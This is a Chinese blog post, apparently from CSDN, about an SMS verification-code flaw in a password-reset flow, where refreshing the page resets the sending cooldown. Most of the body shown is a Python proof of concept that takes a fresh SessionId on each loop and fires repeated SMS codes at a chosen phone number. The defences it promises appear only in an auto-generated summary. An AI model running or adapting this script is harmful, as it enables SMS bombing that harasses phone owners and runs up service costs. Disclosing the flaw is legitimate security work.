一类SMS漏洞的防御思路

P4nic

已于 2022-03-04 17:19:04 修改

阅读量217

点赞数 1

文章标签： web安全

于 2022-03-01 22:45:31 首次发布

本文链接：https://blog.csdn.net/m0_56664692/article/details/123217476

版权

本文详述了一种网站SMS漏洞，通过刷新页面绕过发送短信的冷却时间，导致频繁发送验证码。此漏洞可能导致公司成本增加和用户遭受骚扰。防御措施包括在后端设置定时器限制发送频率，限制同一IP的POST请求次数，并引入图文验证码机制。

摘要由CSDN通过智能技术生成

0x01 漏洞验证：

与SMS有关的网站功能都有可能存在此类漏洞隐患

如：注册账号、修改密码、绑定手机等重要功能

登陆界面如下所示，点击忘记密码

找回密码流程如下：

验证得知每次发送验证码后需等待60s

尝试将页面刷新后再次发送短信，发现发送成功

burp抓包，发现SessionId每次刷新页面都变化，因此尝试修改SessionId

获取SessionId

F12在响应包中查找SessionId

正则表达式提取SessionId：

    page_text = s.post(url=id_get_url, headers=headers, data=data).text
    ex = 'SessionId"]="(.*?)";'
    SessionId = re.findall(ex, page_text)[0]

由于SessionId和Cookie对应，所以第一个url那获取SessionId后，请求头还要带上Cookie，再请求第二个url，为方便使用requests.Session()创建Session对象，自动获取cookie

POC如下：

import requests
import re
import time

for i in range(13):    # 发送短信13次
    s = requests.Session()
    headers = {
        'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome \
        /98.0.4758.102 Safari/537.36 Edg/98.0.1108.62",
    }
    id_get_url = "https://CanNotTellYou.com/test"
    data = {
        'tranFlag': 0,
        'netType': 7,
        'Language': 'zh_CN',
        'PlatFlag': 3,
        'ComputID': 10,
        'StructCode': 1,
        'customerGroup': 1010,
        'channelCode': 302,
        'User_browser': 'Chrome:98.0.4758.102',
        'User_os': 'Windows10',
    }
    page_text = s.post(url=id_get_url, headers=headers, data=data).text
    ex = 'SessionId"]="(.*?)";'
    SessionId = re.findall(ex, page_text)[0]
    # with open('./page_text.html', 'w', encoding='utf-8') as f:
    #     f.writelines(page_text)
    url = 'https://AgainNoTellYou.com/test'
    post_data = {
        'tranFlag': 1,
        'loginID': 12345678978,   # 电话号码
        'SessionId': SessionId,
        'tranCode': 'A00012',
        'StructCode': 1,
    }
    response = s.post(url=url, headers=headers, data=post_data)
    print(response.text)
    time.sleep(2)

验证结果如下：